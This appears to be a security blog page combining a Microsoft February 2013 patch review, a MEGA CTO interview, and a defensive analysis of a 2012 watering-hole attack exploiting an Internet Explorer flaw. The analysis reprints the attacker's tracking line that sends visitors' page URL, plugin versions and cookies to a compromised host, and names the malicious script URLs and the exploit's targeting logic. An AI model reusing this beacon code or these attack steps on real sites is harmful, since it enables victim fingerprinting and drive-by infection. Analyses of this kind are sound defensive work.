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Microsoft February 2013 Patch Tuesday Review

13/02/2013VariousAdobe, APSB13-05, CVE-2012-3214, CVE-2012-3217, CVE-2013-0015, CVE-2013-0018, CVE-2013-0019, CVE-2013-0020, CVE-2013-0021, CVE-2013-0022, CVE-2013-0023, CVE-2013-0024, CVE-2013-0025, CVE-2013-0026, CVE-2013-0027, CVE-2013-0028, CVE-2013-0029, CVE-2013-0030, CVE-2013-0073, CVE-2013-0075, CVE-2013-0076, CVE-2013-0077, CVE-2013-0393, CVE-2013-0418, CVE-2013-1248, CVE-2013-1249, CVE-2013-1250, CVE-2013-1251, CVE-2013-1252, CVE-2013-1253, CVE-2013-1254, CVE-2013-1255, CVE-2013-1256, CVE-2013-1257, CVE-2013-1258, CVE-2013-1259, CVE-2013-1260, CVE-2013-1261, CVE-2013-1262, CVE-2013-1263, CVE-2013-1264, CVE-2013-1265, CVE-2013-1266, CVE-2013-1267, CVE-2013-1268, CVE-2013-1269, CVE-2013-1270, CVE-2013-1271, CVE-2013-1272, CVE-2013-1273, CVE-2013-1274, CVE-2013-1275, CVE-2013-1276, CVE-2013-1277, CVE-2013-1278, CVE-2013-1279, CVE-2013-1280, CVE-2013-1281, CVE-2013-1313, Flash, KB2778344, KB2780091, KB2784242, KB2790113, KB2790655, KB2790978, KB2792100, KB2797052, KB2799494, KB2800277, KB2802968, KB2805940, KB2809279, Microsoft, MS13-009, MS13-010, MS13-011, MS13-012, MS13-013, MS13-014, MS13-015, MS13-016, MS13-017, MS13-018, MS13-019, MS13-020, MSA-2755801, Oracle, Oracle Critical Patch Update January 2013wow

Microsoft has release, the 12 February 2013, during his February Patch Tuesday, one updated security advisory and twelve security bulletins. On the twelve security bulletins five of them have a Critical security rating.

Microsoft Security Advisory 2755801

MSA-2755801,released during September 2012, has been updated. The security advisory is regarding updates for vulnerabilities in Adobe Flash Player in Internet Explorer 10. Update KB2805940 has been released for supported editions of Windows 8, Windows Server 2012, and Windows RT. The update addresses the vulnerabilities described in Adobe Security bulletin APSB13-05.

MS13-009 – Cumulative Security Update for Internet Explorer

MS13-009 security update, classified as Critical, allowing remote code execution, is the fix for 13 reported vulnerabilities. CVE-2013-0015 (4.3 CVSS base score) was discovered and reported by Masato Kinugawa. CVE-2013-0018 (9.3 CVSS base score) and CVE-2013-0022 (9.3 CVSS base score) were discovered and privately reported by Omair. CVE-2013-0019 (9.3 CVSS base score) was discovered and privately reported by SkyLined, working with HP’s Zero Day Initiative. CVE-2013-0020 (9.3 CVSS base score) was discovered and privately reported by Arthur Gerkis, working with the Exodus Intelligence, and by Stephen Fewer of Harmony Security. CVE-2013-0021 (9.3 CVSS base score) was discovered and privately reported by Tencent PC Manager. CVE-2013-0023 (9.3 CVSS base score) was discovered and privately reported by Arthur Gerkis, working with HP’s Zero Day Initiative. CVE-2013-0024 (9.3 CVSS base score) was discovered and privately reported by an anonymous researcher, working with HP’s Zero Day Initiative. CVE-2013-0025 (9.3 CVSS base score) and CVE-2013-0028 (9.3 CVSS base score) were discovered and privately reported by Scott Bell of Security-Assessment.com. CVE-2013-0026 (9.3 CVSS base score) was discovered and privately reported by Jose A Vazquez of Yenteasy Security Research, working with the Exodus Intelligence. CVE-2013-0027 (9.3 CVSS base score) was discovered and privately reported by Mark Yason of IBM X-Force. CVE-2013-0029 (9.3 CVSS base score) was discovered and privately reported by Stephen Fewer of Harmony Security and [email protected], working with HP’s Zero Day Initiative.

MS13-010 – Vulnerability in Vector Markup Language Could Allow Remote Code Execution

MS13-010 security update, classified as Critical, allowing remote code execution, is the fix for one privately reported vulnerability. CVE-2013-0030 (9.3 CVSS base score) was discovered and privately reported by an unknown security researcher.

MS13-011 – Vulnerability in Media Decompression Could Allow Remote Code Execution

MS13-011 security update, classified as Critical, allowing remote code execution, is the fix for one publicly reported vulnerability. CVE-2013-0077 (9.3 CVSS base score) was discovered and reported by Tencent Security Team.

MS13-012 – Vulnerabilities in Microsoft Exchange Server Could Allow Remote Code Execution

MS13-012 security update, classified as Critical, allowing remote code execution, is the fix for two publicly reported vulnerability linked to Oracle Outside In vulnerabilities fixed during January 2013 Critical Patch Update. These vulnerabilities are CVE-2013-0418 (6.8 CVSS base score) and CVE-2013-0393 (6.8 CVSS base score).

MS13-020 – Vulnerability in OLE Automation Could Allow Remote Code Execution

MS13-020 security update, classified as Critical, allowing remote code execution, is the fix for one publicly reported vulnerability. CVE-2013-1313 (9.3 CVSS base score) was discovered and reported by an anonymous researcher, working with HP’s Zero Day Initiative.

MS13-013 – Vulnerabilities in FAST Search Server 2010 for SharePoint Parsing Could Allow Remote Code Execution

MS13-013 security update, classified as Important, allowing remote code execution, is the fix for two publicly reported vulnerability linked to Oracle Outside In vulnerabilities fixed during January 2013 Critical Patch Update. These vulnerabilities are CVE-2012-3214 (2.1 CVSS base score) and CVE-2012-3217 (2.1 CVSS base score).

MS13-014 – Vulnerabilities in FAST Search Server 2010 for SharePoint Parsing Could Allow Remote Code Execution

MS13-014 security update, classified as Important, allowing denial of service, is the fix for one privately reported vulnerability. CVE-2013-1281 (7.1 CVSS base score) was discovered and privately reported by an anonymous researcher.

MS13-015 – Vulnerability in .NET Framework Could Allow Elevation of Privilege

MS13-015 security update, classified as Important, allowing elevation of privileges, is the fix for one privately reported vulnerability. CVE-2013-0073 (10.0 CVSS base score) was discovered and privately reported by James Forshaw of Context Information Security.

MS13-016 – Vulnerabilities in Windows Kernel-Mode Driver Could Allow Elevation of Privilege

MS13-016 security update, classified as Important, allowing elevation of privileges, is the fix for 30 privately reported vulnerability. CVE-2013-1248 (4.9 CVSS base score) and CVE-2013-1249 (4.9 CVSS base score) were discovered and privately reported by Mateusz “j00ru” Jurczyk of Google Inc, and Tencent Security Team. CVE-2013-1251 (4.9 CVSS base score), CVE-2013-1252 (4.9 CVSS base score) and CVE-2013-1253 (4.9 CVSS base score) were discovered and privately reported by Gynvael Coldwind and Mateusz “j00ru” Jurczyk of Google Inc. CVE-2013-1250 (4.9 CVSS base score), CVE-2013-1254 (4.9 CVSS base score), CVE-2013-1255 (4.9 CVSS base score), CVE-2013-1256 (4.9 CVSS base score), CVE-2013-1257 (4.9 CVSS base score), CVE-2013-1258 (4.9 CVSS base score), CVE-2013-1259 (4.9 CVSS base score), CVE-2013-1260 (4.9 CVSS base score), CVE-2013-1261 (4.9 CVSS base score), CVE-2013-1262 (4.9 CVSS base score), CVE-2013-1263 (4.9 CVSS base score), CVE-2013-1264 (4.9 CVSS base score), CVE-2013-1265 (4.9 CVSS base score), CVE-2013-1266 (4.9 CVSS base score), CVE-2013-1267 (4.9 CVSS base score), CVE-2013-1268 (4.9 CVSS base score), CVE-2013-1269 (4.9 CVSS base score), CVE-2013-1270 (4.9 CVSS base score), CVE-2013-1271 (4.9 CVSS base score), CVE-2013-1272 (4.9 CVSS base score), CVE-2013-1273 (4.9 CVSS base score), CVE-2013-1274 (4.9 CVSS base score), CVE-2013-1275 (4.9 CVSS base score), CVE-2013-1276 (4.9 CVSS base score) and CVE-2013-1277 (4.9 CVSS base score) were discovered and privately reported by Mateusz “j00ru” Jurczyk of Google Inc.

MS13-017 – Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege

MS13-017 security update, classified as Important, allowing elevation of privileges, is the fix for three privately reported vulnerability. CVE-2013-1278 (7.2 CVSS base score) and CVE-2013-1279 (7.2 CVSS base score) were discovered and privately reported by Gynvael Coldwind and Mateusz “j00ru” Jurczyk of Google Inc. CVE-2013-1280 (7.2 CVSS base score) was discovered and privately reported by an unknown security researcher.

MS13-018 – Vulnerability in TCP/IP Could Allow Denial of Service

MS13-018 security update, classified as Important, allowing denial of service, is the fix for a privately reported vulnerability. CVE-2013-0075 (7.1 CVSS base score) was discovered and privately reported by an unknown security researcher.

MS13-019 – Vulnerability in Windows Client/Server Run-time Subsystem (CSRSS) Could Allow Elevation of Privilege

MS13-019 security update, classified as Important, allowing elevation of privileges, is the fix for a publicly reported vulnerability. CVE-2013-0076 (7.2 CVSS base score) was discovered and privately reported by Max DeLiso.

Interview of Mathias Ortmann MEGA CTO

27/01/2013VariousCloud, Mathias Ortmann, Megawow

I had the chance to interview Mathias Ortmann, co-founder and Chief Technology Officer (CTO) of MEGA, through Xavier Buck a Luxembourgish entrepreneur. Mathias Ortmann review the launch of MEGA, the secured Cloud based file sharing plate-forme.

How did you start MEGA adventure?

When we learned that our extradition proceedings would be delayed by the US government appealing against the high court’s decision that we are allowed to see evidence, we knew that we would be in for a long and costly legal battle. The only way to finance it is to make money, and since we have some expertise in the field of cloud storage, we decided to go down that path.

MEGA buz has generate a lot of cyber attacks, you excepted it?

Cyber attacks in the sense of denial-of-service or hacking attempts – not yet.
Cyber attacks in the sense of massive user demand – oh yes!

What do you think regarding the encryption polemic?

We are a bit disappointed by statements like “If you can break SSL, you can break MEGA” and the uninformed discussion about our de-duplication strategy. However, there is also a positive side – so far, two genuine vulnerabilities have been found, reported to us and fixed: A crypto-unrelated XSS issue and a basic design flaw in our static content verification process. We are still undecided on the issue of whether we should protect users that choose unsafe passwords or rather educate them better so that they don’t.

You host some servers in USA, should you worry?

Despite the WHOIS result, we have no serves in the US (or Africa).

MEGA propose a secured cloud storage as a service. What counter measure are in place in order to protect copyrights?

Copyrights are not affected by encryption. Whether or not the data is encrypted, policing all user files for copyrighted content is neither required nor permitted, and we enforce a takedown policy that complies with all applicable laws and works just fine despite the encryption.

Why is MEGA the best?

Are we the best? We leave that up to the market to decide. We believe that our product – the combination of privacy, convenience, performance and pricing – is an attractive one, and we hope that it will be accepted and become popular despite our legal fight and the negative crypto-related PR that erupted immediately after our launch. To use the weather as an analogy (MEGA vs. the market leaders): We believe that a few dissipating clouds in a blue sky are still better than standing in the rain all the time!

ZATAZ WEBTV February 2013

24/01/2013VariousMega, TV, WebTV, Xavier Buck, ZATAZwow

f you understand french then you can watch our February 2013 ZATAZ Web TV show.

In this episode:

Exclusive interview of Xavier Buck, one of the MEGA, MegaUpload 2.0, entrepreneur
Encrypted USB hardware
And mores

Forgotten Watering Hole Attacks On Space Foundation and RSF Chinese

06/01/2013VariousAPT, CVE-2012-4969, IE 0Day, Internet Explorer, Internet Explorer 0day, Jsbug, Microsoft, MS12-063, MSA-2757760, RSF Chinese, Space Foundation, watering hole attackswow

As I announced you on Twitter, this blog post will present targeted attacks who have start mid-September and wasn’t discussed or presented in public. These attacks have end around mid-October.

My next post will cover the targeted attacks against http://t.co/Cy1hN4oY and http://t.co/71oggmv4 http://t.co/70cSitaN

— Eric Romang (@eromang) December 29, 2012

A web site “arpeggio8.com“, hosted on 205.186.179.195 in US, was compromised in order to be used in a watering hole attack against Space Foundation and RSF Chinese.

The Space Foundation is a nonprofit organization that supports the global space industry through information and education programs. It is a resource for the entire space community – industry, national security organizations, civil space agencies, private space companies and the military around the world. It also supports educators, students and journalists with information and education programs.

Reporters Without Borders (RWB) is a French-based international non-governmental organization that advocates freedom of the press and freedom of information. Reporters Without Borders is also known as RSF, and RSF Chinese is a dedicated web site for Chinese news in Chinese language.

The watering hole attack was done through different files and by a dedicated centralized backend named “Jsbug“.

Description of the watering hole attack

Space Foundation and RSF Chinese web sites had they’re code a malicious javascript inclusion calling “http://www.arpeggio8.com/count/count.php“.

“count.php” script provide javascript content who check the presence of “popad” cookie and if the browser is Internet Explorer 6, 7 or 8. This script also load “count2.php” who is used for another purposes, we will discuss about this file later. If all the conditions are in place “rsf.php” file is loaded with parameter “id=1024“.

“rsf.php” script only provide content if parameter “id=1024” is present. This script load through an iframe call “ie.html” file. “rsf.php” is the equivalent of “exploit.html” in the CVE-2012-4969 0day found in mid-September.

“ie.html” file is the equivalent of “Protect.html” in the CVE-2012-4969 0day found in mid-September, but here no Flash file is involved to do the heap spray. “ie.html” file is containing a packed javascript code how will do the heap spray and trigger the vulnerability. Pastebin encoded version and decoded version.

The javascript is decoded though the “decode” function and the key “0xe1” for decoding is provided as argument to the function. The javascript “int_to_hex” function will check if Oracle Java 6 is present, if operating system is Windows 7 or XP and if Internet Explorer 9 is used. The script will also gather the browser language.

If Windows XP is used, and language is “en-us“, “zh-cn“, “zh-tw“, “ko” or “ja” (hum hum CVE-2012-4792…), then the vulnerability is triggered.

If Windows 7 is used and Java 6 is installed, then the vulnerability is triggered. A spray base value is provided in the code for Internet Explorer 9 , but “count.php” has filter the targeted browsers.

Once the vulnerability is triggered, “917.exe” (6b4aa596e5a4208371942cdb0e04dfd9) file is installed. This malware is known as “Trojan-Dropper.Win32.Dapato.bscc“.

A interesting point regarding “ie.html” file, this file was dating of 19 September.

Some facts regarding CVE-2012-4969 :

Vulnerability was discovered exploited in the wild, with a Flash variant, the 14 September.
Metasploit PoC was provided the 17 September.
Microsoft Security Advisory MSA-2757760 was published the 17 September.
Microsoft patch was provided in MS12-063 the 21 September.

But you will see, through the next chapter, that the attack has began the 18 September.

“count2.php” script and Jsbug backend usage

“count2.php” script is loaded in any cases for statistics purposes. This script will create and check two cookies “stat_cookie” and “stat_time“, gather version of Adobe Flash, presence of Oracle Java and HTTP referrer. All these informations are send back to the same script with parameters.

http://arpeggio8.com/count/count2.php?n=’+Math.random()+’&action=jpg&stat_refer=’+escape(location.href)+’&stat_flash=’+escape(flashVer)+’&stat_java=’+escape(stat_java)+’&stat_cookie=’+stat_cookie+’&stat_time=’+stat_time;

All these informations are stored in a backend named “Jsbug“. This backend is quiet simple, only three menus “Client statistics“, “Report” and “Create Exploit“. The backend doesn’t have any external css or images files, and is typically composed of minimum three PHP scripts.

Login page of the backend is also quiet simplistic, no page title, no text in the page, and this logic of simplicity make it harder to discover through Google searches.

“Client statistics” menu will direct you on a recap page, of all visitors who have load “count2.php“, with OS type, browser type and version, version of Adobe Flash, version of Oracle Java, IP address, HTTP referer, number of visits, first visite and last visite date.

In the case of the Space Foundation watering hole attack, the first date are beginning 18 September.

In the case of RSF Chinese watering hole attack, the first date are beginning 19 September.

These attacks have ended around mid-October.

“Report” menu will direct you on a statistics page, of all visitors.

“Create Exploit” menu is a page how will help the attackers to generate they’re javascript inclusion code.

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